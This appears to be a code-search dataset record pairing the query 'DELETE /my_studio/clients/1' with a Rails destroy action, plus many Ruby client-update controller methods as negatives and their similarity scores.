"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, :notice => 'El cliente se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, :notice => 'Klijent je uspjesno izmjenjen.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to clients_path, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to clients_path, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = current_user.clients.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to @client, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_resources(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/resources\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"resources\": [{\"name\":\"dashboard.tabs.total\", \"value\":1}]\n }.to_json)\n puts response.body\n puts \"Client's resources were updated.\" if response.success?\n end",
"def update\n authorize @client\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_back_or_default clients_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @client.update(client_params)\n head(:ok)\n else\n render json: @client.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n\n params[:client][:contact_ids] ||= []\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n if @api_client.update_attributes(params[:api_client])\n format.html { redirect_to @api_client, notice: 'Api client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n authorize! :update, @client\n\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to @client, :notice => 'Client was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @clients = get_clients\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n @clients = get_clients\n #format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n #format.html { render action: \"index\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to clients_url, notice: 'La información del cliente se actualizó correctamente.' }\n format.json { render :index, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:update [ID] [options]\")\n\n if options.empty?\n raise(Heroku::Command::CommandFailed, \"Missing options\")\n end\n\n validate!(options[:url]) if options[:url]\n shell = options.delete(:shell)\n options[:redirect_uri] = options.delete(:url)\n\n client = request do\n api.request(\n :body => encode_json(options),\n :expects => 200,\n :headers => headers,\n :method => :patch,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n\n if shell\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Updated client \"#{client[\"name\"]}\".})\n styled_hash(client)\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client record was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: \"Client was successfully updated.\" }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Client a été mise à jour.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n if @client.update(client_params)\n format.html { redirect_to clients_path, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to user_url(@client.id), notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_user_url(@client.id)}\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @client.update(client_params)\n\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n\n format.json { render :show, status: :ok, location: @client }\n\n else\n\n format.html { render :edit }\n\n format.json { render json: @client.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n \n respond_to do |format|\n if @client.update_attributes(params[:client])\n flash[:notice] = 'Client was successfully updated.'\n format.html { redirect_to client_url(@role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors.to_xml }\n end\n end\n end",
"def update\n @client = clients.find(params[:id])\n\n if @client.update_attributes(params[:client])\n flash[:notice] = 'Client was successfully updated.'\n redirect_to(user_company_clients_url(current_company))\n else\n render :action => \"edit\"\n end\n end",
"def update\n @qa_client = QaClient.find(params[:id])\n\n respond_to do |format|\n if @qa_client.update_attributes(params[:qa_client])\n format.html { redirect_to @qa_client, notice: 'Qa client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @qa_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n respond_to do |format|\n if @client.update_attributes(params[:client])\n \n flash[:notice] = 'Client was successfully updated.'\n format.html { redirect_to(@client) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to(client_url, :notice => 'Client was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_client\n\t\t@client = Client.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @client.update_attributes(client_update_params)\n\t\t format.html { redirect_to(@client, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@client) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@client) }\n\t\t end\n\n \t end\n\tend",
"def update\n respond_to do |format|\n succeess_redirect_path = URI(request.referer).path.gsub 'edit', ''\n if @client.update(client_params)\n format.html { redirect_to succeess_redirect_path, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { redirect_to URI(request.referer).path }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to(@client, :notice => 'Client was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to(@client, :notice => 'Les informations du client ont été mises à jour.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @otg_client.update(otg_client_params)\n format.html { redirect_to @otg_client, notice: 'Otg client was successfully updated.' }\n format.json { render :show, status: :ok, location: @otg_client }\n else\n format.html { render :edit }\n format.json { render json: @otg_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n @client.campaign_id = session[:campaign_id]\n @groups = Group.all.map {|g| [g.name, g.id]}\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, :notice => 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n @uuid = params[:uuid]\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_client.update(company_client_params)\n format.html { redirect_to company_clients_path, notice: 'Клиент успешно отредактирован' }\n format.json { render :show, status: :ok, location: @company_client }\n else\n format.html { render :edit }\n format.json { render json: @company_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to(@client, :notice => 'Client was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @client = Client.find(params[:id])\n flash[:notice] = 'Client was successfully updated.' if @client.update_attributes(params[:client])\n respond_with(@client)\n end",
"def edit_client\n\t\t@client = Client.find(params[:id])\n\tend",
"def update\n respond_to do |format|\n if @live_client.update(live_client_params)\n format.html { redirect_to @live_client, notice: 'Live client was successfully updated.' }\n format.json { render :show, status: :ok, location: @live_client }\n else\n format.html { render :edit }\n format.json { render json: @live_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oauth_client = OauthClient.find(params[:id])\n\n respond_to do |format|\n if @oauth_client.update(oauth_client_params)\n format.html { redirect_to oauth_clients_path, notice: 'OAuth client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oauth_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clientes_servico.update(clientes_servico_params)\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_brokerage_client_using_put_with_http_info(client_co, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BrokerageApi.update_brokerage_client_using_put ...'\n end\n # verify the required parameter 'client_co' is set\n if @api_client.config.client_side_validation && client_co.nil?\n fail ArgumentError, \"Missing the required parameter 'client_co' when calling BrokerageApi.update_brokerage_client_using_put\"\n end\n # resource path\n local_var_path = '/brokerage/client'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(client_co)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BrokerageUpdateClientVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BrokerageApi#update_brokerage_client_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @client = Client.find(params[:id])\n flash[:success] = \"Cliente editado exitosamente\" if @client.update_attributes(params[:client])\n respond_with(@client)\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n \tif params[:client][:logo].blank?\n \t\tparams[:client][:logo] = @client.logo\n \telse\n \t\tnew_file_name = upload_file(params[:client][:logo], \"/public/files/logo_files/\")\n\t \tFileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"[email protected]_s]\n\t \tparams[:client][:logo] = new_file_name\n \tend\n\t \tparams[:client][:updated_by] = current_user.id\n @client.attributes = params[:client]\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @potential_client.update(potential_client_params)\n format.html { redirect_to @potential_client, notice: 'Potential client was successfully updated.' }\n format.json { render :show, status: :ok, location: @potential_client }\n else\n format.html { render :edit }\n format.json { render json: @potential_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n # NOTE: API V1 dropped support for updating client keys via update (aka PUT),\n # but this code never supported key updating in the first place. Since\n # it was never implemented, we will simply ignore that functionality\n # as it is being deprecated.\n # Delete this comment after V0 support is dropped.\n payload = { name: name }\n payload[:validator] = validator unless validator.nil?\n\n # DEPRECATION\n # This field is ignored in API V1, but left for backwards-compat,\n # can remove after API V0 is no longer supported.\n payload[:admin] = admin unless admin.nil?\n\n begin\n new_client = chef_rest_v1.put(\"clients/#{name}\", payload)\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n new_client = chef_rest_v0.put(\"clients/#{name}\", payload)\n end\n\n Chef::ApiClientV1.from_hash(new_client)\n end",
"def update(id, client)\n @client = Locomotive::Client.get(id)\n raise NotFound unless @client\n if @client.update_attributes(client)\n redirect resource(@client), :message => {:notice => \"Client was successfully updated\"}\n else\n display @client, :edit\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @client = Client.find params[:id]\n respond_to do |format|\n if @client.update_attributes(client_params)\n format.html { redirect_to client_path(@client), notice: 'Cliente fue Actualizado correctamente.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n @client.name = @client.name.upcase\n if session[:user].nil? \n redirect_to :controller => \"login\", :action => \"new\"\n else\n @client.updated_by = session[:user]\n end\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to clients_path(:clientid => @client.id), notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\t\t\n if @client.update_attributes(params[:client])\n redirect_to @client, notice: 'Client was successfully updated!'\n else\n render action: \"edit\"\n end\n end",
"def update_client\n\t\tif(request.method == \"OPTIONS\")\n\t\t\trespond({status: 0})\n\t\telsif request.method == \"POST\"\n\t\t\trespond(update_user_client(params))\n\t\tend\n\tend",
"def set_client\n @client = Client.find(params[:id])\n end",
"def update\n @client.update_attributes(client_params)\n @clients = Client.all\n flash[:notice]=\"Client Modifier avec succès!!!\"\n end",
"def update\n @user = User.find(params[:id])\n @client = Client.find(params[:id])\n if @client.update(client_params)\n # Save the item successfully\n redirect_to @client\n else\n render :action => \"edit\"\n end\n\n\n end",
"def update_client\n if current_admin.present?\n @client = Client.friendly.find(params[:id])\n respond_to do |format|\n if params[:client][:permalink].present?\n @client.update_attributes(:slug => params[:client][:permalink])\n end\n if @client.update_attributes(params[:client])\n format.html { redirect_to edit_admin_path(@client), notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @client_info.update(client_info_params)\n\n format.html { redirect_to @client_info, notice: 'Client info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @client_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n if @clientsOffers.update_attributes(params[:clientsOffers])\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to(@client, :notice => \"Client was successfully updated. #{undo_link}\") }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n if @client.update(client_params)\n redirect_to client_path(@client)\n else\n render :edit\n end\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def update\n\n #se não aguardar carregar os dados\n if client_params[:state] == '...'\n sweetalert_warning('Você precisa informar o CEP e aguardar os dados do endereço serem preenchidos.', 'Aviso!', useRejections: false)\n redirect_to edit_client_path(@client) and return\n end\n\n respond_to do |format|\n\n if @client.update(client_params)\n format.html { redirect_to @client, notice: 'Cliente atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @client }\n sweetalert_success('Cliente atualizado com sucesso.', 'Sucesso!', useRejections: false)\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @client.update(client_params)\n redirect_to clients_path\n else\n render :edit\n end\n end",
"def set_client\n \t@client = Client.find(params[:id])\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def set_client\n @client = Client.find(params[:id])\n end",
"def update_client(client)\n raise ArgumentError, 'Cannot update without id' if client.id.nil?\n resp = put \"#{CLIENT_API_PATH}/#{client.id}\", params: client.as_json\n process_response(resp)\n true\n rescue Errors::UnprocessableEntity\n false\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_client_card_using_put_with_http_info(nucleus_client_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CardApi.update_client_card_using_put ...'\n end\n # verify the required parameter 'nucleus_client_id' is set\n if @api_client.config.client_side_validation && nucleus_client_id.nil?\n fail ArgumentError, \"Missing the required parameter 'nucleus_client_id' when calling CardApi.update_client_card_using_put\"\n end\n # resource path\n local_var_path = '/card/client/{nucleus_client_id}'.sub('{' + 'nucleus_client_id' + '}', nucleus_client_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UpdateCardClientResponseVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CardApi#update_client_card_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @client.update(client_params)\n format.html { redirect_to admin_client_path(@client, search: params[:search], page: params[:page]),\n notice: 'клиент сохранен.' }\n format.json { render :show, status: :ok, location: @client }\n else\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n begin\n ActiveRecord::Base.transaction do\n @client.update!(client_params)\n @client.address.update!(address_params)\n end\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n rescue\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_client\r\n @client = Client.find(params[:id])\r\n end",
"def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end"
] |
[
"0.71831036",
"0.66596395",
"0.66572887",
"0.6628954",
"0.6609444",
"0.65954995",
"0.65943503",
"0.6584579",
"0.6567063",
"0.6567063",
"0.65631604",
"0.6557088",
"0.6557088",
"0.6535763",
"0.6525986",
"0.64829105",
"0.64765334",
"0.64691776",
"0.6464606",
"0.64388967",
"0.6436954",
"0.6414985",
"0.6404368",
"0.6400039",
"0.6400039",
"0.63953984",
"0.639333",
"0.63932425",
"0.6379891",
"0.6379891",
"0.6379891",
"0.6379891",
"0.6379891",
"0.6364153",
"0.6361544",
"0.635882",
"0.6357756",
"0.6344347",
"0.6327928",
"0.6327132",
"0.6286601",
"0.62777877",
"0.627619",
"0.6275413",
"0.6262703",
"0.6258502",
"0.62555754",
"0.62541896",
"0.62388885",
"0.62066066",
"0.6205057",
"0.6200958",
"0.6198723",
"0.61896205",
"0.61883456",
"0.6185008",
"0.6168378",
"0.6165265",
"0.6158092",
"0.61535203",
"0.6150605",
"0.6129007",
"0.6116925",
"0.6103954",
"0.60838133",
"0.6063508",
"0.6056323",
"0.60507107",
"0.604894",
"0.604598",
"0.60377795",
"0.6037477",
"0.60320795",
"0.6030569",
"0.60295534",
"0.60268533",
"0.60253173",
"0.60239875",
"0.6019135",
"0.60116255",
"0.60072577",
"0.6004403",
"0.59911036",
"0.5981237",
"0.5968495",
"0.59648746",
"0.5952204",
"0.5948076",
"0.5948076",
"0.5948076",
"0.5948076",
"0.5948076",
"0.59448594",
"0.5943202",
"0.5929624",
"0.59190375",
"0.5915846",
"0.5912724",
"0.59057015",
"0.5899533"
] |
0.7078739
|
1
|
DELETE /my_studio/clients/1 DELETE /my_studio/clients/1.json
|
def destroy
@my_studio_client = MyStudio::Client.find(params[:id])
@my_studio_client.destroy
respond_to do |format|
format.html { redirect_to my_studio_clients_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @studio_client.destroy\n respond_to do |format|\n format.html { redirect_to studio_clients_url, notice: 'Studio client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
